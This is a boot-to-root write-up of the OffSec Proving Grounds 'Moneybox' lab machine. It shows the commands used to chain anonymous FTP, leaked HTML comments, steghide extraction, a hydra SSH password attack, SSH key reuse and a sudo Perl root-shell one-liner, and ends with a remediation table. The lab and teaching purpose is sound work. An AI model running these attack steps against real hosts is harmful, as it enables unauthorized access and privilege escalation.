Skip to content
Zone for Exploration and
Understanding of Security
← All writeups
General Easy

Moneybox

OffSec Proving Grounds · Linux · boot-to-root · category Pentesting

Vulnerability
Leaked secrets → stego foothold → SSH key reuse → sudo Perl
Impact
Full compromise — local and root flags captured (2/2)
Tools
nmap, ftp, gobuster, steghide, hydra, ssh
Given
A single IP, no credentials
FLAGS  ✓ local + root captured — values redacted
Cyber Kill Chain
Reconnaissancenmap, gobuster
→
Exploitationsteghide, hydra
→
Credential AccessSSH login
→
Lateral MovementSSH key reuse
→
Privilege Escalationsudo perl
→
Impactroot access

MITRE ATT&CK Mapping

Tactic Technique ID Evidence
Reconnaissance Active Scanning: Vulnerability Scanning T1046 nmap scan discovered open ports 21, 22, 80
Discovery Active Scanning: Wordlist Scanning T1595.003 gobuster enumeration revealed /blogs/ and /S3cr3t-T3xt/ directories
Credential Access Brute Force: Password Guessing T1110.001 hydra performed password attack against SSH user 'renu'
Collection Credentials In Files T1552.001 steghide extracted hidden message from JPEG image
Lateral Movement Unsecured Credentials: Private Keys / Remote Services: SSH T1552.004 + T1021.004 SSH public key hash matched between renu and lily authorized_keys
Privilege Escalation Abuse Elevation Control Mechanism: Sudo and Sudo Caching T1548.003 sudo NOPASSWD Perl allowed direct execution as root

Vulnerability Analysis

Root Causes: Six independent misconfigurations, each minor, chained into complete compromise.

  • CWE-540: Inclusion of Sensitive Information in Source Code — HTML comments disclosed hidden paths and a secret key
  • CWE-321: Use of Hard-coded Cryptographic Key — Secret key embedded in web page source
  • CWE-521: Weak Password Requirements — Weak SSH password, hinted at in steganographic data, was crackable by brute force
  • CWE-798: Use of Hard-coded Credentials — Same SSH key accepted across accounts without rotation
  • CWE-273: Improper Check for Dropped Privileges — Unchecked sudo NOPASSWD on an interpreter

Severity: No CVSS score applies — these are configuration weaknesses on a lab host, not a scored vulnerability in a shipped product. The end result is unauthenticated-to-root compromise.

References:
CWE-540 CWE-321 CWE-521 CWE-798 CWE-273

Summary

Moneybox is a Linux host rated Easy. A full compromise came from chaining a series of small information leaks into a complete takeover: anonymous FTP handed over an image with data hidden inside it, a public web page leaked the passphrase to unlock that image, the extracted note named a user with a weak password, and from that first shell a reused SSH key and a careless sudo rule walked the way to root.

Key insight: no single bug here was exotic. The box falls because each service leaks just a little — a readable file, a comment, a reused key — and the leaks compound. Defence means closing every one of them, not just the last.

Recon

A full TCP scan followed by a service/script scan on the open ports:

shell
nmap -p- --min-rate 5000 <target>
nmap -sC -sV -p 21,22,80 <target>
PortServiceVersion
21FTPvsftpd 3.0.3
22SSHOpenSSH 7.9p1 (Debian)
80HTTPApache 2.4.38 (Debian)

The script scan also flagged that anonymous FTP login was permitted and listed a single file, trytofind.jpg.

FTP — anonymous access

Logging in as anonymous with a blank password and pulling the file down:

shell
ftp <target>
Name: anonymous
Password: <blank>
ftp> ls -la
-rw-r--r-- 1 0 0 1093656 Feb 26 2021 trytofind.jpg
ftp> get trytofind.jpg

The filename is a nudge: something is hidden in the image. But an image on its own is useless without the passphrase — which the web server turned out to be giving away.

Web enumeration

Directory brute-forcing the web root turned up a /blogs/ directory:

shell
gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt -x php,txt,html

The page at /blogs/ carried an HTML comment pointing at a second hidden directory, and that directory's source held a second comment disclosing a secret key:

html · page source
<!-- the hint is the another secret directory is S3cr3t-T3xt -->
...
<!.. Secret Key <redacted> >

Why this matters: HTML comments are served to every visitor. "Hidden" directories and keys left in page source are not hidden at all — they are public.

Foothold — steganography

Triaging the image first (exiftool, strings, binwalk, xxd | tail) showed no appended data and a clean JPEG end marker — meaning the data was embedded, not tacked onto the end. That points at steghide, and the secret key from the web page was the passphrase:

shell
steghide extract -sf trytofind.jpg -p <key>
wrote extracted data to "data.txt"

data.txt held a message addressed to renu, warning that the account's password was weak — effectively naming a user and inviting a guessing attack.

SSH credential attack

With a username and a hint that the password was weak, a wordlist attack against SSH recovered it:

shell
hydra -l renu -P <wordlist> ssh://<target> -t 4
[22][ssh] login: renu password: <redacted>

Local flag

SSH as renu succeeded and the first flag was readable in the home directory. renu had no sudo rights:

shell
renu@MoneyBox:~$ id
uid=1001(renu) gid=1001(renu) groups=1001(renu)
renu@MoneyBox:~$ cat ~/local.txt
<redacted>
renu@MoneyBox:~$ sudo -l
Sorry, user renu may not run sudo on MoneyBox.

Lateral movement — renu → lily

renu's shell history referenced generating an SSH key and copying it to a second user, lily. A hash comparison confirmed renu's public key was the entire contents of lily's authorized_keys — so renu's private key logs straight in as lily:

shell
sha256sum ~/.ssh/id_rsa.pub /home/lily/.ssh/authorized_keys
886437...5732  /home/renu/.ssh/id_rsa.pub
886437...5732  /home/lily/.ssh/authorized_keys

Logging in as lily with the matching private key succeeded with no password prompt.

Privilege escalation — lily → root

lily was allowed to run the Perl interpreter as root with no password:

shell
lily@MoneyBox:~$ sudo -l
User lily may run the following commands on MoneyBox:
    (ALL : ALL) NOPASSWD: /usr/bin/perl

Perl can spawn a shell, and under sudo that shell runs as root — a standard GTFOBins technique:

shell
lily@MoneyBox:~$ sudo perl -e 'exec "/bin/sh";'
# id
uid=0(root) ...
# cat /root/proof.txt
<redacted>

Root flag captured — full compromise achieved.

Findings & remediation

#FindingSeverityRemediation
1Anonymous FTP enabledMediumDisable anonymous login; remove vsftpd if unused
2Secret leaked in HTML commentsMediumStrip comments and hidden paths from public pages
3Secret hidden in a publicly served imageMediumNever store secrets in web-accessible files
4Weak SSH password, no lockoutHighEnforce key-based auth; set PasswordAuthentication no; add fail2ban
5SSH key reuse across accountsHighAudit every authorized_keys; a user's key in another user's file is a finding
6sudo NOPASSWD on Perl interpreterCriticalRemove NOPASSWD on interpreters; they cannot be exposed via sudo safely

Takeaways

  • Leaks compound. A readable FTP file, a comment in page source, and a reused key are each minor; chained together they are a root shell.
  • Interpreters in sudo are game over. Any entry like perl, python or vim under NOPASSWD is a direct path to root — check GTFOBins.
  • Enumerate every service. The win needed FTP, HTTP and SSH together; stopping at the first one would have dead-ended.

Practice next

Explore more security challenges on OffSec Proving Grounds.

Explore OffSec Proving Grounds ↗